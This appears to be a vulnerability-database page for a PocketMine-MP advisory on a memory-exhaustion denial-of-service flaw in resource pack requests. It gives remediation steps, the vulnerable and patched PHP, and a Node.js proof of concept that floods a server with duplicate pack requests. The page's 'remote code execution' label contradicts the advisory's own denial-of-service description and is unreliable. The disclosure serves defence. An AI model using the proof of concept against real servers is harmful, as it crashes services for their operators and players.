GHSA-fqqv-56h5-f57g: Pocketmine/pocketmine mp Remote Code Execution Vulnerability

HIGH
CWE-770
Published
Advisory Summary

GHSA-fqqv-56h5-f57g is a HIGH remote code execution vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Pocketmine/pocketmine mp libraries in the Packagist ecosystem. The issue involves pocketmine-mp `resourcepackdatainfopacket` amplification vulnerability due to lack of resource pack sequence status checking. Remediation is available by upgrading affected packages to version 5.32.1.

GHSA-fqqv-56h5-f57g at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-fqqv-56h5-f57g
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Pocketmine/pocketmine mp
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix GHSA-fqqv-56h5-f57g

To remediate this vulnerability, upgrade all affected Pocketmine/pocketmine mp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pocketmine/pocketmine-mp fixed: 5.32.1
Upgrade pocketmine/pocketmine-mp to 5.32.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pocketmine/pocketmine-mp

How to Check if You Are Affected

To determine whether your application is affected by GHSA-fqqv-56h5-f57g, inspect your project dependencies for Pocketmine/pocketmine mp:

inspect dependencies for pocketmine/pocketmine-mp

Analyze the terminal output to locate any version of Pocketmine/pocketmine mp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.32.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Pocketmine/pocketmine mp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`. PocketMine-MP processes the `packIds` array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: **High** — Remote DoS from an authenticated client. --- ### Details Relevant code (simplified): ```php case ResourcePackClientResponsePacket::STATUS_SEND_PACKS: foreach($packet->packIds as $uuid){ $splitPos = strpos($uuid, "_"); if($splitPos !== false){ $uuid = substr($uuid, 0, $splitPos); } $pack = $this->getPackById($uuid); if(!($pack instanceof ResourcePack)){ $this->disconnectWithError("Unknown pack $uuid requested..."); return false; } $this->session->sendDataPacket(ResourcePackDataInfoPacket::create( $pack->getPackId(), self::PACK_CHUNK_SIZE, (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE), $pack->getPackSize(), $pack->getSha256(), false, ResourcePackType::RESOURCES )); } break; ``` **Root cause:** * The `packIds` array is taken directly from the client packet and processed as-is. * There is no check to ensure that all requested packs are unique. * A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID. * Each duplicate results in the server re-sending the same pack, consuming additional memory. **Why this is unexpected:** * Mojang's official clients never send duplicates in `packIds`. * PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client. --- **Suggested fix:** Before sending packs: 1. Remove duplicates from the incoming `packIds` array. 2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error. 3. Track which packs have already been sent to this player, and skip any that have already been transferred. ```php $alreadySent = $this->packsSent ?? []; // Remove duplicates $uniquePackIds = array_unique($packet->packIds); // Detect abuse if(count($packet->packIds) - count($uniquePackIds) > 2){ $this->disconnectWithError("Too many duplicate resource pack requests"); return false; } foreach($uniquePackIds as $uuid){ if(in_array($uuid, $alreadySent, true)){ continue; // Skip packs already sent to this player } // existing code... $alreadySent[] = $uuid; } $this->packsSent = $alreadySent; ``` --- ### PoC 1. Join a PocketMine-MP server with at least one resource pack enabled. 2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with: * `status = STATUS_SEND_PACKS` * `packIds` = many duplicates of a known valid pack UUID. Example Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`): ```js import { createClient } from 'bedrock-protocol'; const host = '127.0.0.1'; const port = 19132; const username = 'test'; const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID const DUPLICATES = 1000; const client = createClient({ host, port, username, offline: true }); client.on('spawn', () => { console.log('[*] Sending duplicate pack request...'); client.queue('resource_pack_client_response', { response_status: 'send_packs', resourcepackids: Array(DUPLICATES).fill(PACK_UUID) }); }); ``` --- ### Impact * **Type:** Remote Denial of Service / Memory Exhaustion * **Who is impacted:** Any PocketMine-MP server with resource packs enabled * **Requirements:** Attacker must connect to the server (authenticated player) * **Effect:** Server memory rapidly increases, leading to freeze or crash

GHSA-fqqv-56h5-f57g Affected Pocketmine/pocketmine mp Versions

1 component(s)
Fixed Versions:
5.32.1
Product / Package Ecosystem Affected Versions Fixed Version
pocketmine/pocketmine-mp
Packagist
< 5.32.1
5.32.1

References

Frequently Asked Questions

What is GHSA-fqqv-56h5-f57g?
GHSA-fqqv-56h5-f57g is a security vulnerability in Pocketmine/pocketmine mp involving PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Pocketmine/pocketmine mp versions are affected?
Affected versions include releases prior to 5.32.1 across affected packages: pocketmine/pocketmine-mp.
What version fixes GHSA-fqqv-56h5-f57g?
Upgrading to 5.32.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pocketmine/pocketmine-mp affected?
Yes, pocketmine/pocketmine-mp is affected in releases prior to 5.32.1. Upgrade your dependency to 5.32.1 or later.
What CWE is associated with GHSA-fqqv-56h5-f57g?
GHSA-fqqv-56h5-f57g is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Packagist dependencies for GHSA-fqqv-56h5-f57g?
Run the dependency tree command: 'inspect dependencies for pocketmine/pocketmine-mp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fqqv-56h5-f57g",
  "modified" : "2025-09-02T16:52:51Z",
  "published" : "2025-09-02T16:52:51Z",
  "aliases" : [ ],
  "summary" : "PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking",
  "details" : "### Summary\n\nA denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`.\nPocketMine-MP processes the `packIds` array without verifying that all entries are unique.\nA malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.\nSeverity: **High** — Remote DoS from an authenticated client.\n\n---\n\n### Details\n\nRelevant code (simplified):\n\n```php\ncase ResourcePackClientResponsePacket::STATUS_SEND_PACKS:\n    foreach($packet->packIds as $uuid){\n        $splitPos = strpos($uuid, \"_\");\n        if($splitPos !== false){\n            $uuid = substr($uuid, 0, $splitPos);\n        }\n        $pack = $this->getPackById($uuid);\n        if(!($pack instanceof ResourcePack)){\n            $this->disconnectWithError(\"Unknown pack $uuid requested...\");\n            return false;\n        }\n        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(\n            $pack->getPackId(),\n            self::PACK_CHUNK_SIZE,\n            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),\n            $pack->getPackSize(),\n            $pack->getSha256(),\n            false,\n            ResourcePackType::RESOURCES\n        ));\n    }\n    break;\n```\n\n**Root cause:**\n\n* The `packIds` array is taken directly from the client packet and processed as-is.\n* There is no check to ensure that all requested packs are unique.\n* A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID.\n* Each duplicate results in the server re-sending the same pack, consuming additional memory.\n\n**Why this is unexpected:**\n\n* Mojang's official clients never send duplicates in `packIds`.\n* PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.\n\n---\n\n**Suggested fix:**\nBefore sending packs:\n\n1. Remove duplicates from the incoming `packIds` array.\n2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.\n3. Track which packs have already been sent to this player, and skip any that have already been transferred.\n\n```php\n$alreadySent = $this->packsSent ?? [];\n\n// Remove duplicates\n$uniquePackIds = array_unique($packet->packIds);\n\n// Detect abuse\nif(count($packet->packIds) - count($uniquePackIds) > 2){\n    $this->disconnectWithError(\"Too many duplicate resource pack requests\");\n    return false;\n}\n\nforeach($uniquePackIds as $uuid){\n    if(in_array($uuid, $alreadySent, true)){\n        continue; // Skip packs already sent to this player\n    }\n    // existing code...\n    $alreadySent[] = $uuid;\n}\n\n$this->packsSent = $alreadySent;\n```\n\n---\n\n### PoC\n\n1. Join a PocketMine-MP server with at least one resource pack enabled.\n2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with:\n\n   * `status = STATUS_SEND_PACKS`\n   * `packIds` = many duplicates of a known valid pack UUID.\n\nExample Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`):\n\n```js\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'test';\nconst PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID\nconst DUPLICATES = 1000;\n\nconst client = createClient({\n    host,\n    port,\n    username,\n    offline: true\n});\n\nclient.on('spawn', () => {\n    console.log('[*] Sending duplicate pack request...');\n    client.queue('resource_pack_client_response', {\n        response_status: 'send_packs',\n        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)\n    });\n});\n```\n\n---\n\n### Impact\n\n* **Type:** Remote Denial of Service / Memory Exhaustion\n* **Who is impacted:** Any PocketMine-MP server with resource packs enabled\n* **Requirements:** Attacker must connect to the server (authenticated player)\n* **Effect:** Server memory rapidly increases, leading to freeze or crash",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pocketmine/pocketmine-mp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.32.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pmmp/PocketMine-MP"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-02T16:52:51Z",
    "nvd_published_at" : null
  }
}